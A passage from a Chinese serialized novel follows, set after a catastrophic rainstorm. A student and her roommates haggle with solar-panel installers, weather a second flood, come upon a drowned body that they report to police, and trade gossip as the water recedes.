秦小薇：“师傅，话不是你这么说的！费用这种事肯定要提前说清楚的，你们现在这样是在玩语言游戏，属于强买强卖！” 见她们不想付钱，几个师傅收敛了脸上的笑意：“什么强买强卖？我们是正经公司，干的是正经工作，不是强盗，别把话说得这么难听……” 五个师傅四个女生顿时就在秦小薇有些拥挤的公寓里吵了起来，师傅也不和她们动手，只强调他们收的是高空作业费，四人不愿意给，他们就赖在秦小薇家不走…… 最后，秦小薇还是给了两千八，因为有个师傅说：“美女，这价格放以前你能说我们没良心乱收费，但你看看现在外面的物价，牛肉都要四百一斤了，我们五个在这给你干两个小时活，一人要你两斤牛肉当报酬不过分吧？你要是不愿意给钱，你一人给我们两斤牛肉，我们马上走……” 暴雨后物价涨得非常厉害，她确实不能用以前的物价来衡量五个师傅的劳动，虽然他们确实有宰客的嫌疑…… 拿到钱之后，五人又恢复了笑脸，临走前，其中一个师傅还给秦小薇留了张名片，让秦小薇安装另一套发电板的时候给他打电话，还顺手帮她们把玄关的垃圾带走了。 秦小薇：“……”变脸变得真快啊！ 吵架吵输了，肖琳琳有些生气：“薇薇，你刚刚不该妥协的，他们哪有他们说得那么惨？他们过来干活，公司肯定会付他们钱的，我看他们就是想干一份活赚两份钱……你现在给钱了，他们尝到了甜头，肯定还会用同样的办法讹其他人的钱。” 秦小薇有些无奈：“那怎么办？把他们打一顿扔出去吗？人家确实是干了活的，那么高的楼，他们挂了根绳子就从窗户翻出去了……就算是报警，这种‘小事’还不知道要等多久，警察才会来处理……” “可是……”肖琳琳被噎住，连着“可是”了半天，也没说出什么，最后只能泄气似的坐回了沙发上。 秦小薇拍了下她的肩膀：“行了，就当是花钱买教训了……往好处想，我们和他们吵了一架，把价格从四千砍到了两千八，也不算没有收获。我会在评论里说这件事的，免得其他人也被讹。” 范槿连忙：“薇薇，那你要发照片和视频，还要追加评论，我去帮你拍照……” 四人拍了照片和视频，在评论区“曝光”了这件事，肖琳琳还用秦小薇的手机写了篇几百字的小作文描述事情的经过，还找客服说了这件事，但可能是因为太晚了，客服下班了，她们只收到了机器人的自动回复。 一番操作之后，四人的气消了一些。 秦小薇给自己倒了杯水：“明天客服应该会回复的，咱们等等吧。” 范槿：“唉，明明有电了是挺高兴一件事，被讹了一笔之后，我现在完全高兴不起来。” 秦小薇：“不气不气，公司肯定会处罚他们的……你们还回寝室吗？要不今晚在我这将就一晚？” 之前担心错过安装师傅上门，范槿三人又实在是对发电板好奇，便留下来围观了。 现在已经快十点了，外面又没有路灯，出行不方便，她们似乎只能留下来住一晚了。 三人四处看了看，很快给自己找好了地方。 范槿：“我睡沙发，你们三个瘦的睡床？” 肖琳琳：“三个人睡床会不会有点挤，薇薇，你家有瑜伽垫吗？我可以打地铺……” “……” 秦小薇家的被子有些不够用，几人都是穿着衣服睡的，勉强算是糊弄完了这一夜。 可能是因为床头的小夜灯一直开着，也可能是因为屋里多了三个活人陪她，躺下以后，秦小薇倒是没再觉得心里毛毛的。 她的生物钟非常准时，不管前一天晚上睡得有多晚，第二天早上六点半必醒。 肖琳琳在瑜伽垫上打地铺，秦小薇起床后，她很快就被秦小薇的脚步声吵醒了，没多久，其他两人也醒了。 秦小薇：“我这里没有多余的洗漱用品，待会送你们回寝室洗漱……我早餐吃白粥配水煮蛋，你们吃不吃？吃的话我多煮点，高压锅速度很快的。” 三人都拒绝了，理由是“早上喝粥容易尿多，不方便她们干送餐的活”。 秦小薇也没多耽搁，洗漱完就准备送她们回寝室。 三人很兴奋，一觉睡醒后，她们完全忘记了昨晚的不愉快，下楼的时候还在讨论待会儿要带什么电子产品过来充电。 但到了窗户口，准备放船下去的时候，四人傻眼了。 秦小薇：“昨天下雨了吗？怎么一夜之间水位又涨回来了？” 今天是暴雨的第五天，经过前四天的积累，水位已经降了两米多，但现在，外面的水位又涨了回去，不仅如此，水面还非常不平静，水流奔涌着朝一个方向流去，连水的颜色都变得浑浊许多…… 范槿：“我昨天玩手机玩到两点多才睡的，没听到外面下雨啊！” 秦小薇拿出手机：“莫慌！莫慌！我上网查一下，看看到底是怎么回事……” 网上很多人都在谈论这件事，Q省官方也很快给出了解释，隔壁Y省因为暴雨疯狂涨水，水位太高，大水越过两省交界处的山脉涌入Q省，带来了洪水。 新闻上说，这种情况并不会持续太久，预计一两天内水流就会平稳下来。新闻提示，今天出行会有危险，建议市民谨慎出行。 截止到目前为止，官方给出的新闻都很权威，几人都没有怀疑消息的真实性。 秦小薇：“我之前只知道山脉可以影响天气，没想到还有挡水的作用……” 范槿：“看来咱们得继续待在你家了……走吧，趁着煤气灶还没开火，往里面多加几把米煮粥。” 范槿三人原本是很安静地在秦小薇家等洪水过去的，还借了秦小薇的笔记本看电影，但看到因为恶劣天气外卖APP上原本就很高昂的配送费又涨了一倍后，几人坐不住了，开始频繁往走廊里跑，查看外面的情况。 可能是因为昨天晚上电钻的声音太大了，也可能是因为昨晚他们吵架的声音太大了，楼里不少人都知道秦小薇家装了太阳能发电板，范槿她们每次出门查看楼下情况的时候，总能“偶遇”秦小薇各个楼层的邻居，和她们打听发电板的事…… 跃能的客服一上班就回复了她的消息，客服表示，师傅上门安装确实会收高空作业费，具体的收费标准以当地的实际情况为准。 秦小薇：“……” 秦小薇又问客服，安装师傅为什么干活前不说高空作业费的事，客服则表示他们会联系师傅核实情况，也会向公司反映这件事，杜绝这种情况再发生，然后……就没有然后了。 秦小薇：“……”真会打太极。 情况比预想中好很多，下午的时候，水面就平静多了，秦小薇划船把三个室友送回了寝室。 昨天宿舍楼发了接下来一周的能量饼干，她们宿舍没有人，班长就把饼干放在隔壁寝室了，秦小薇路上看到范槿发过来的消息才知道这事，家里不缺吃的，她就没折回去取饼干。 秦小薇觉得外面还是有点危险，便没把船借给三个室友，打算等官方发新闻通告了再继续出门做生意。 毕竟她的船是手摇充气船，上面连个电动推进器都没有，真要是碰到洪水，真的毫无反抗之力……【你现在阅读的是 】 30-40 第31章 第31章巨人观（双更合一）…… 秦小薇一直关注着网上的新闻,晚上，她看到新闻上说他们下游的W省开始泄洪了，Q省的水位会在短时间内有较大波动,新闻提醒市民尽量不要出门,避免危险。 之前新闻上说半个月后,Q省的积水就会退得差不多，上午外面的水位暴涨后,秦小薇还觉得,这个推测可能不准，晚上看到泄洪的消息,她又觉得，水还真可能在半个月内退下去…… 这一等就是两天，接下来两天,外面的水位每天都“大起大落”,等情况彻底稳定下来的时候，水位已经降到二楼中间的位置了。 连着三天没有出门卖爆米花，秦小薇倒是不觉得有什么。 她饿了就用空间里的食材做吃的,现在家里有电了，电饭煲、烤箱、空气炸锅之类的小家电也都能用了,她做饭方便多了。 上午写论文,论文写累了就打几盘游戏，或是去空间里撸铁运动，日子过得十分充实。 秦小薇还抽空测试了一下家里刚装上的太阳能发电系统,她买的这款比较便宜，发电量明显不如对面的，现在这个天气，线路切换成太阳能供电后,电灯、台灯之类低功率电器可以一直开着，像是电饭煲这种功率不到一千瓦的家电，可以同时开两台。 她家空气炸锅是一千八百瓦的，开了之后就得把其他的电器关掉，否则等电池里的电用完了就会断电。 至于空调、热水器这种大功率家电，现在这个天气，是完全用不了的。 阳台那套还没开封的发电装置秦小薇没动，她打算等水退之后交通恢复了，再把设备“送”给她莫须有的同事。 但秦小薇的三个室友，却都很为她担心，在她们看来，秦小薇一天不出门，就要损失两千块的“租船费”。 加上之前被安装师傅坑的两千八，在她们看来，不到四天的时间，秦小薇就快损失过万了…… 第三天下午看到官方发布的新闻后，三个室友才算放下心来，秦小薇在群里和她们约定好了，第二天早上过去接她们。 晚上，秦小薇忽然想吃饺子，空间里有很多面粉，她自己上网找了教程，折腾了一个多小时，包了一百多个胡萝卜鱼肉馅的饺子。 这个口味的饺子她之前没吃过，但是味道意外地不错，馅料非常鲜…… 刚洗完碗，秦小薇就接到了范槿的视频请求。 她按下接通键，声音里带着明显的笑意：“饭饭，你不是说手机快没电了，怎么还给我打视频电话？” 范槿的表情很严肃：“薇薇，告诉你一个非常不幸的消息，辅导员让我们抽签，抽到签的明天要去打扫三楼……现在要抽签了，你想让谁代表你抽签？” 三楼？是寝室楼那个被排泄物淹过的三楼吗？！ 秦小薇唇角的笑意僵住了。 “薇薇？”见她没有反应，视频那头的范槿催了她一句。 秦小薇：“……饭饭，你帮我抽吧！” 范槿：“行……琳琳，你帮我拿下手机……薇薇，我先抽你的。” 手机屏幕里的画面一阵天旋地转，片刻之后，范槿和班长同时出现在画面里，班长手里还拿着一个抽签用的大纸箱。 秦小薇死死盯着范槿手上的动作，连呼吸都变得小心翼翼的。 不要抽中她，不要抽中她，不要抽中她…… 她在心里默默祈祷着。 片刻之后，范槿从纸箱里拿出一个白色的小球：“薇薇，没 抽中你……” 秦小薇松了口气。 手机对面的范槿动作并没有停：“现在抽我自己的……啊！为什么是红色的？我为什么会在这种时候中奖？” 她握着“中签”的红色小球十分崩溃。 秦小薇对她中签这事非常同情，连忙表示，明早去寝室接人的时候，会给她赞助一次性帽子、口罩和乳胶手套，还会烧好水等她来家里洗澡…… 两人正说着话，班长的脸忽然凑近了屏幕：“秦小薇，我听说你家现在有电了，我可以把充电宝拿过去充电吗？” 普通充电宝的输入功率也就十几瓦，并不怎么费电，况且开口的还是班长，秦小薇没有犹豫就点头答应了。 待机了两天，范槿的手机已经没多少电了，两人聊了一会，她就挂断了视频。 第二天早上，秦小薇下楼的时候，发现四楼窗户外面的梯子不知何时被转移到了三楼窗户口，被积水浸泡了好几天，除了垃圾的臭味，三楼现在还有股潮湿腐败的水腥气，味道很不好闻，不过现在从三楼下水确实比从四楼下水方便，秦小薇只能捏着鼻子忍着。 宿舍楼的绳梯也转移到了三楼，但是三楼走廊的墙面很脏，爬出来的时候难免会蹭到一些脏东西。 段霞和肖琳琳出门的时候，特地多穿了一套衣服当“工作服”，上了船，她俩就迫不及待地把最外面的衣服脱了塞塑料袋里。 她俩不是空手下来的，每人手上都提着两大包东西，秦小薇把“赞助”给范槿的装备递给她后，在她依依不舍的目光中划船离开了宿舍楼。 肖琳琳：“我的妈呀，太恶心了！薇薇你刚刚看到了没？三楼地上墙上都是屎……水位下降的时候怎么没把那些东西带走？” 秦小薇：“琳琳，你别说了，我回去还要吃早饭呢！你们带了什么下来？怎么装了这么多？” 肖琳琳用眼神指着袋子一一盘点起来：“你昨天不是在群里答应了好几个人帮她们充电吗？红色的袋子里是她们的电子产品，白色袋子里装的是我们三个要充电的电子产品，还有排插……另外两个黑袋子，是其他人给你的‘感谢费’，还有你分到的能量饼干……你大前天不是没拿吗？” 秦小薇点点头，表示自己知道了。 她以为大家还是像之前一样，送的“感谢费”都是各种小零食，回到家打开袋子才发现，黑袋子里装了两大袋能量饼干。 难怪会这么重！ 不过想想也可以理解，今天都是暴雨后第十七天了，她们之前囤的小零食都吃完了也很正常！ 这东西官方的定价是五块钱一包，现在只有部分大的临时安置点能凭身份证限量购买，是官方专门给那些胃口大的普通人准备的。 因为它一袋可以吃三顿，性价比算是很高了，现在这种情况，这个定价对某些低收入人群来说也很友好。 不过现在物价飞涨，普通人私下交易能量饼干，能卖到二三十一包。 秦小薇拿了几包放在外面当早餐，剩下的全都码柜子里了，这东西形状规整，收拾起来也方便。 家里能量饼干太多了，感觉她接下来一个月都不用做早餐了…… 收拾完了饼干，她才开始拉插线板给塑料袋里的东西充电，段霞她们收拾东西的时候很细心，所有的充电线都用绳子绑好了和对应的电子产品放在一起，并不显得杂乱，每样东西外面还裹了袋子防水。 秦小薇没把充电线外面的绑带解开，而是直接把它们放在排插边上充电，等把所有的插头都插上后，她才发现，就连排插插孔的数量，室友们也是算好了的。 除了她的三个室友，其他同学都只送了充电宝和台灯过来。 干完活后，她在宿舍群里发了张照片。 【秦小薇：任务进度1%】 【秦小薇：图片.jpg】 家里充电的东西太多了，秦小薇怕断电，就把窗帘拉开了，连屋里的灯都关了。 【范槿：中午进度能到100%吗？大家都在寝室嗷嗷待哺地等着。】 【范槿：期待.jpg】 【秦小薇：不确定？大概？】 发洪水那几天，物价又经历了好几□□涨，不过当时没多少人冒险出门卖东西，市场上能买到的东西少得可怜，现在水位退到了二楼，出行稍微“方便”一些了，物价又有回落的趋势，但整体还是比泄洪之前高。 虽然物价越来越高，但基本的温饱问题可以用市政发的物资解决，教学楼里那些家庭条件一般的难民越来越不舍得花钱，再加上水位退到二楼以后，又有一批难民可以回家，安置点的总人口一下子少了很多。 今天高价商品依旧可以卖出去，但要是量大了，就很难清空库存。 秦小薇的爆米花一直没涨价，在一众商家中，现在算是走“平价”路线的了，所以销量还行，但她依旧得花更多的时间才能卖完……她能明显地感觉到，很多普通人的消费意愿变低了。 不过想想也能理解，暴雨期间很多公司都是不发工资的，没了收入来源，现在物价又这么贵，等回家了，还得拿出一笔钱修房子，手里的钱该怎么花，自然应该好好规划…… 秦小薇下午在同城APP上刷到了卖现宰猪肉的消息，不过价格很贵，要230一斤，还得自取。 这个价格……说实话，秦小薇是不想吃的，毕竟她空间里有免费的培根。 但是她的三个室友已经快四天没沾荤腥了，再加上肖琳琳和段霞今天赚了不少，便准备割点肉解解馋。 段霞甚至计划好了，就买这么一次，回去用豆瓣酱炒成肉酱放冰箱里慢慢吃，以后每顿饭舀两勺，争取撑到水退。 室友都说得这么可怜了，秦小薇也不好拒绝，便只能答应一起过去。 出发前，她们还在APP上联系了卖家，确认他手上有没有货。 卖完了爆米花，秦小薇她们把公寓楼里充好电的电子产品送回宿舍就去买肉了。 范槿她们干了一天，还没把三楼打扫干净，现在还在宿舍楼干活，三人也就没带她，打算等买完了肉再回来接她。 卖肉的地方离公寓有点远，好在三个人一起使力，船速快了很多，三人只花了一个多小时就到了目的地。 卖猪肉的地方是个高层自建房，靠近水面那层楼的阳台窗户开着，靠近窗户的桌子上摆着许多大块的猪肉、排骨和内脏，桌子很旧，上面有很多陈旧的血污。 有个中年男人围着围裙靠在阳台前，百无聊赖地翻着手上的杂志。 摊主的生意应该不是很好，他早上就开始打广告了，但现在天已经快黑了，桌上的猪肉还有很多。 看到秦小薇她们的船在窗户边上停下，男人立刻放下杂志招待她们：“美女，看看要点什么？” 秦小薇担心肉不新鲜，上手摸了摸，才开口道：“要一斤前腿肉，不要太肥。” 摊主：“行……还要点别的吗？我这快收摊了，你多买点，我给你们算便宜点！” 秦小薇看向两个室友：“还要买别的吗？” 两人伸长脖子看了看：“猪肝多少钱一斤？” 摊主：“猪肝便宜！我算你120一斤，之前都是卖150的，要来点吗？” 三人商量了一下，觉得价格还行，便决定买一点回去，她们大老远过来一趟也不容易。 秦小薇：“那再来半斤猪肝。” 摊主：“还要别的吗？排骨也不错的……行，前腿肉364，猪肝96，刚好460。” 秦小薇看到桌上剩的猪肉就知道摊主切的时候肯定会往多了切，特意少报了斤两，现在拿到手的东西刚好和她们要的差不多。 她们担心摊主缺斤少两，肉和猪肝拿到手之后，段霞还用从秦小薇家拿的弹簧秤复称了一下。 看到她的动作，摊主笑了下：“小姑娘，我卖猪肉好多年了，诚信经营，绝对不会少秤！” 段霞笑了笑，手上的动作却没停。 实在是这些天吃的亏、碰到的奇葩事太多了，她不得不多留一个心眼。 复完秤，三人才开始往回划，半路的时候，肖琳琳忽然停了下来，指着远处开口道：“阿霞、薇薇，那边是不是有个人？” 听到她的话，秦小薇两人停下了动作，顺着她手指的方向看过去。 因为要出来买肉，下 午秦小薇提前了一个多小时出来卖爆米花，她们买完肉以后，也才不到五点，天光还很亮堂。 离她们左手大概一百来米远的地方，有个人浮在水面上。 段霞：“好像真有个人，他是不是溺水了？咱们过去看看吧！” 其余两人都没什么意见，三人便把船划了过去，然后……秦小薇就看到了足以让她晚上做噩梦的一幕。 一具身体肿胀发绿、已经看不清面容的尸体仰躺着漂浮在水面上，尸体生前应该是个女人，尸体身上穿着件大红色的卫衣和一条黑色的阔腿牛仔裤。 因为身体肿胀形成了巨人观，尸体身上的衣服被撑得鼓鼓囊囊，螺纹袖口把尸体的手腕勒出一圈明显的污绿色凹陷。 虽然她们距离尸体还有好几米远，但秦小薇依旧觉得自己鼻尖隐约传来一股尸臭。 “呕——”她扶着充气船的船沿，朝水里呕了起来。 船上其余两人也差不多，扶着船沿差点把胃里的酸水都吐出来了。 吐了好一会，三人才缓过来，秦小薇用船上的矿泉水漱了下口，她侧过脸，视线避开前方的女尸，拿出手机：“咱们现在怎么办？报警吗？” 段霞：“报警吧！我们既然看到了，总不能让她一直在这里飘着……” 秦小薇：“行！” 她们运气还不错，一次就拨通了报警电话，报了地址后，警察让她们等在原地，马上派船过来。 挂了电话后，三人又把船划远了一些，免得不小心瞥到女尸那满脸污绿、眼球凸出、嘴唇外翻、舌尖肿胀到伸出的脸。 三人等了快二十分钟，附近依旧只有她们这一条船，眼看着天色将要变暗，三人都有些着急。 肖琳琳：“咱们还要等多久啊？” 秦小薇想到了前段时间公寓楼上等了一晚上才被拖走的男尸，忽然有些后悔答应警察留在原地等他们。 秦小薇看了下时间：“再等十分钟……十分钟后没来我们给警察打个电话就走。” 段霞和肖琳琳点点头，默认了她的决定。 五分钟后，挂着警徽的巡逻船出现在三人的视线里，她们齐齐松了口气。 警察们把尸体弄到船上装进裹尸袋里，装尸体的时候，秦小薇她们三个上了巡逻船的甲板做笔录，离得太近，鼻尖的尸臭味更明显了，秦小薇差点又“呕——”了出来。 装了尸体的裹尸袋被警察堆在甲板的另一边，秦小薇粗略扫了一下，发现甲板上至少堆了十几个鼓鼓囊囊的裹尸袋。 秦小薇：！！！ 宁市死了这么多人吗？ 意识到那是什么之后，秦小薇的视线就再也不敢往那边瞟了，她的两个室友也是一样，三人下意识挨得近了一些，向室友寻求安全感。 见三人脸色苍白，状态都不是很好，给她们做笔录的警察主动提出送她们回Q大，至于她们之前坐的充气船，可以用缆绳绑在巡逻船后面。 船上的尸体太多了，三人原本是不想答应的。但警察说停在这里做笔录很浪费时间，他们还得去捞其他的尸体，刚好也会路过Q大……她们就妥协了。 烧油的船果然比手划的快，来的时候，她们用了一个多小时，但回去这一路，就算巡逻船又“接”了一具尸体，她们到Q大也只花了十来分钟。 换了充气船在寝室接了范槿后，三人又折回了公寓楼。 范槿在三楼干了一天活，身上都快被腌入味了，放在以前，她们三个肯定要调侃她几句，但之前经历的事冲击犹在，三人都没有聊天的心情。 范槿察觉到室友们的心情似乎不是很好，便关心道：“你们怎么这副表情？被卖肉的摊主宰了？” 秦小薇摇头，和她说了买肉回来路上碰到女尸的事。 范槿：“是不是发洪水那天出的事？当时新闻就说已经有人因为外出遇难了……” 秦小薇想到甲板上那些堆成山的裹尸袋，抿了抿唇，没有说话，她第一次意识到，新闻上短短的一句话，可能就意味着无数普通人鲜活生命的结束。 公寓三楼也有住户陆续搬回来了，她们回公寓的时候，刚好看到有一家人在开着门通风，一眼望去，屋里空荡荡的，屋主在暴雨前就把能搬的东西搬走了，和那些没来得及搬家的人相比，他的损失似乎不是很大。 但对普通人来说，一场暴雨下来，屋里被泡坏的软装和被水泡过的电路就能让他们工作很久了…… 虽然肉和猪肝都买回来了，但秦小薇三人都没什么胃口，范槿白天被寝室三楼的臭味折磨了一整天，现在感觉嗅觉都要失灵了，她们三个说明天再开荤她也没反对，几人便把东西先放在冰箱里，晚饭她们只煮了锅清淡的酱油素面。 吃饭前，范槿去洗了澡，她出来的时候，浑身上下都是沐浴露的香味，闻得出来，为了遮盖身上的味道，她洗澡的时候用了很多沐浴露， 这顿饭她们吃得非常安静，屋里只能听到轻微的咀嚼声和碗筷碰撞的清脆声响。 秦小薇看了眼外面的天色：“天还没完全黑，你们……要回去吗？” 段霞有些犹豫：“薇薇，你晚上一个人睡会害怕吗？要不今晚和我们一起回寝室住吧！” 秦小薇想了想，摇头：“没事，我开着灯睡。” 听她这么说，段霞就没再坚持。 临走前，范槿告诉她：“薇薇，隔壁寝有好几个人都想把充电宝拿过来充电，她们让我帮忙问问可不可以，有周娜娜……” 她掰着手指头数了起来。 秦小薇急着送她们回寝室，便打断了她：“可以，明天都拿过来吧！” 晚上，秦小薇是在空间里睡的，她还从养鸡场抱了只鸡过来陪自己，因为她一闭上眼睛，眼前就会浮现那具肿胀到面目全非的尸体…… 感觉床上还差几个陪睡玩偶，等水退了去商场买几个吧！ 连着做了好几个噩梦，秦小薇这一晚并没有睡好。 第二天早上出了空间后，秦小薇发现外面开始下雨了，雨势只比蒙蒙细雨稍微大一些，放在以前，随便打把伞就行了，但她的充气船没有雨棚挡雨，出行会很不方便。 第32章 第32章复工（双更合一）…… 秦小薇给段霞打了个电话：“阿霞,外面在下雨，你们今天还出门当船手吗？” 段霞：“去！饭饭联系了社团的人，我们可以从那边借雨衣和头盔,再带两把伞,身上应该不会弄湿……” 学校集体采购的雨衣头盔下大暴雨的时候不顶用,应付这种小雨还是没什么问题的。 秦小薇：“行，那我待会来接你们。” 段霞：“薇薇,你呢？你今天还爆爆米花吗？” 秦小薇：“上午爆,下午看天气吧！雨大了就休息半天……” 她一直以来的习惯都是下大雨不出摊，下雨小吃街没多少人,不仅赚不到多少钱，带出去的东西也容易弄湿，她自己也会弄得很狼狈。 在宿舍楼接到三个室友后,秦小薇发现,三人脸上都带着明显的黑眼圈。 秦小薇看向范槿，有些奇怪：“饭饭，怎么你的黑眼圈也这么明显？” 她昨天一直待在寝室楼打扫卫生,没看到尸体呀！ 范槿打了个哈欠：“狗太吵了！叫了一晚上，我昨晚几乎没怎么睡……” 秦小薇：“前几天不是发了能量饼干吗？裴欣那份吃完了？” 肖琳琳摇头：“不是,我听她室友说,她好像不想养香肠了，这几天一直没给香肠喂吃的，一直把它拴在床的爬梯上,还是她几个舍友觉得狗叫声太吵了，就把自己的能量饼干分给它吃，香肠才没饿着。” “但是香肠太能吃 了，她三个舍友也顶不住,昨天晚上就没喂，想着它叫累了就停下来了，谁知道它叫了一整夜……裴欣昨天还和宿舍楼的人打听，有没有人想养大狗。” 秦小薇很惊讶，按照她那几天的观察，裴欣和拉布拉多的感情还是挺好的，她对狗也很好，宿舍里一堆狗窝狗玩具，怎么忽然就不想养了？ 不过香肠现在名声这么差，宿舍楼应该没人想接手吧！ 真要是养宠物，谁不想养一只忠诚、听话的？像香肠这种又能吃又叛逆，还总是给其他人添麻烦的大狗，让秦小薇选，她根本就不会考虑…… 她试着分析了一下理由：“是不是因为她男朋友？她看到狗就想到她劈腿的男朋友，所以不想养了？” 范槿点头：“我们都是这么猜的……裴欣现在精神状态也很差，动不动就在寝室爆哭，她室友之前还很同情她，现在都不敢和她说话了，林晓晓说她在寝室里连呼吸都得小心翼翼的……” “裴欣昨天找船手帮忙买了验孕棒，结果是两条杠，孩子她不想要，借手机打了好几个医院的电话咨询，但医院都说现在没多少医生值班，只做急诊手术，她想流掉也只能等水退了……” 秦小薇听完十分唏嘘，感觉一场暴雨过后，裴欣的人生都变得乱七八糟的。 虽然不是很喜欢她，但秦小薇还是有些同情她，当然，她更同情她的室友和她的狗，无端要受这种折磨…… 秦小薇：“她男朋友呢？不是说香肠是他们两个一起养的吗？香肠也算是他们的孩子吧……分手了，就都不要孩子了？” 肖琳琳露出鄙夷的表情：“别提那个渣男了，美美隐身，听说连裴欣的电话都拉黑了。” 秦小薇：“……” 说话间，四人到了办公楼附近，才刚刚七点，办公楼里就已经有人上班了，教学楼里还安置着不少难民，为了配合市政的工作，还在岗位上的老师基本上每天都是加班状态。 秦小薇在教学楼外面等着，范槿三人进了教学楼，和社团的同学一起去仓库拿雨衣和头盔。 室友拿到雨衣头盔后，秦小薇就回家吃早饭了。 今天她从宿舍楼带回来的电子产品比昨天还多，因为外面在下雨，东西外面包的塑料袋比昨天更严实，秦小薇花了会时间“拆包裹”，才把它们都充上电。 不过她今天收到的能量饼干数量比昨天少，有些昨天给了“报酬”的女生今天就没再给能量饼干，还有些直接白嫖…… 秦小薇也不在意，她还发愁家里能量饼干太多要吃很久呢！ 上午她依旧在折腾她的毕业论文，偶尔去厨房活动一下，制造自己在家爆爆米花的假象，大约十点多的时候，家里的大门被人敲响了。 “谁啊？”秦小薇站在猫眼后面朝外面看了一眼，门外是个陌生的年轻男人。 “你好，我住三楼的，我家的东西暴雨前都搬到朋友家去了，有些东西现在急用，但是叫不到船，你的船能不能借我用下，我去朋友家拿点行李……”门外传来男人礼貌的声音。 秦小薇：“你可以上网叫个跑腿，附近很多船手接单，在平台上下单也有保障……” 男人：“我试过了，一直没人接单。” 秦小薇依旧没开门，她摸不准他说的是不是真的，便拿出手机，在群里发了条消息，片刻之后，她冲着门外的人开口道：“你现在下单吧！我朋友就在附近做船手，我让她们接单……” 过了好一会，她才听到男人的声音：“……那行，我回去再看看。” 听着走廊里渐行渐远的脚步声，秦小薇忍不住翻了个白眼，怎么公寓楼里邻居的素质和宿舍楼差这么多？隔两天就能碰到一个想占她便宜的。 今天教学楼的难民比昨天更少，有好几栋楼都快空了，不过下雨之后，出来卖东西的自制船少了一些，她的爆米花竟然变畅销了，上午和下午的四箱爆米花都很快卖完了。 段霞晚上回来的时候，还带了三分之一个鸡蛋托，鸡蛋托的每一格都种着一株小葱，是她花一百块和一个商贩买的。 她珍而重之地把鸡蛋托放在秦小薇家的阳台上，拜托秦小薇好好照顾它。 纵然知道她是个吃葱狂魔，秦小薇看到这盘只种了十株葱的鸡蛋托还是非常惊讶，她玩笑道：“阿霞，这么多天没吃葱，终于把你逼疯了吗？你竟然开始自己种葱了……” 段霞：“老板说了，这个葱剪了还会再长，只要照顾好了，可以吃好多年的……是可再生资源。” 秦小薇：“……”她开心就好。 秦小薇：“事先声明，我不会种菜啊！这葱要是养死了，你可不能让我赔！” 虽然她每天都要从黑土地里收获好几茬作物，但那是在面板上操作的，她仅有的几次种植经历，作物都生病了，收成都很差，不算成功…… 段霞摆了摆手：“没事，老板和我说葱很好养的，定时浇水就行了！养死了也没事，我会在它死之前把它的尸体吃掉的！” 秦小薇：“咦——你好恶心，别提那两个字！” 虽然段霞让她随便养，但秦小薇还是上网搜索了“阳台养葱攻略”，毕竟这是盘价值一百块的葱…… 晚上，范槿实在是馋肉，便提出想把昨天买的猪肝和肉做了，其他三人的胃口都恢复了，就没有反对。 八两的猪肝她们只切了一半做冬瓜猪肝蛋汤，前腿肉做成肉酱后，每人只舀了平平的两勺拌饭——肉价太贵了，就算她们现在算是“高收入”人群，一顿吃一斤肉也会心疼。 范槿：“我长这么大，就没吃过这么贵的猪肉和猪肝，我一定要好好尝尝，它们和我之前吃过的有什么区别！” 她郑重地拿起勺子，舀了一勺冒尖的肉酱拌饭。 秦小薇看得好笑：“吃自己做的饭，是不是格外美味？” 范槿咂巴了一下嘴：“感觉和之前吃的没什么区别……你们知道吗？我每次买东西的时候听人家报价，都特别怀念咱们食堂五块钱一份的盒饭，不知道食堂什么时候开始营业？想去吃食堂。” 肖琳琳：“我也是，我已经迫不及待想要刷爆我的饭卡了！” “……” 吃完饭，她就送三个室友回去了。 晚上，秦小薇睡到一半又被噩梦惊醒了，她梦到做笔录的时候周围的人全都消失了，巡逻船上那些裹尸袋里的尸体自己拉开拉链钻了出来，在甲板上追着她跑，逼的她只能跳水里，然后在水里和一具肿胀发绿的尸体来了个脸贴脸…… 这个梦太恐怖，秦小薇不想睡觉了，后半夜，她直接出了空间，在客厅里开着灯，放着音乐打游戏…… 外面的水位每天都在下降，三天后，公寓二楼也完全“浮”出了水面。 二楼水退之后，辅导员又开始让大家抽签打扫二楼，这回1206四人的运气比较好，都没中签。 学校的运输船每天都在往外运人，随着水位的降低，教学楼里的难民一天比一天少，教学楼附近的生意也越来越差，好在宿舍楼里还有学生，秦小薇划着船过去转一圈，船上的爆米花也能卖完。 大家都知道现在外面物价很高，学生们并没有嫌弃她卖的爆米花贵。 毕竟和暴涨了几十几百的蔬菜肉类相比，秦小薇只涨价了十五块的爆米花真的很“良心”了。 但学生的消费能力有限，外卖APP上随便一单外卖都是三位数起步，有些贵的，一份外卖价格几千都很正常，抵得上普通学生好几个月的生活费了，根本不是普通大学生消费得起的。 肖琳琳她们在学校附近抢不到单子，只能去更远的地方碰运气。 很多人到家后，发现家里什么 都缺，但又不能出门，只能叫船手帮忙，肖琳琳她们跑远一点，也是能接到单子的。 但每天划十几个小时的船，还得应付一些乱七八糟的人和事，三人每天回来都是一副身体被掏空的状态…… 这三天，宿舍楼那边也是八卦不断。 因为拉布拉多饿得一直叫，导致裴欣和周围同学的矛盾升级，她很生气，直接弃养了她的狗，她现在甚至不让狗进自己寝室，香肠的狗窝、衣服也被她用剪刀剪得乱七八糟的。 没了牵引绳的束缚，拉布拉多又开始拆学生们堆在走廊里的垃圾袋，还每层楼乱窜，走廊又变得脏兮兮、臭烘烘的。 十二楼的女生担心拉布拉多饿极了会攻击人，由裴欣的室友林晓晓牵头，在十二楼募集了一些能量饼干，每天投喂给香肠——香肠天黑以后还是会回寝室的，虽然它的主人并不让它进门。 秦小薇每次听室友聊这些八卦的时候，都觉得很作孽，她还赞助了拉布拉多几袋能量饼干托室友带回去。 这天早上，秦小薇一起来就发现自己来大姨妈了，她赶紧下床换了裤子。 连着做了好几天噩梦，她昨天晚上终于睡了个好觉，养鸡场的母鸡也不用再被她折腾了。 大姨妈第一天，她的肚子不是很舒服，腰也很酸，秦小薇决定上午在家休息，傍晚再出去卖爆米花。 加上舍友们帮她分担的“租金”，这段时间，她都赚了小十万了，少赚这几千也没什么，她自己的身体最重要！ 把船交给三个室友后，秦小薇就回家躺着了。 她躺了没多久，工作用的二手手机忽然响了起来，是经理在群里@了所有人，通知他们下周一回支行上班。 秦小薇：“……”假期要结束了吗？有点舍不得！ 今天是周二，到下周一还有五天，按照现在的速度，五天内楼下的积水应该能退干净。 可能是因为大部分员工的手机都没电，经理的消息发出来之后，群里根本没有人回“收到”，秦小薇不想当出头鸟，便也没有回复。 等群里有人回复了，她再回“收到”。 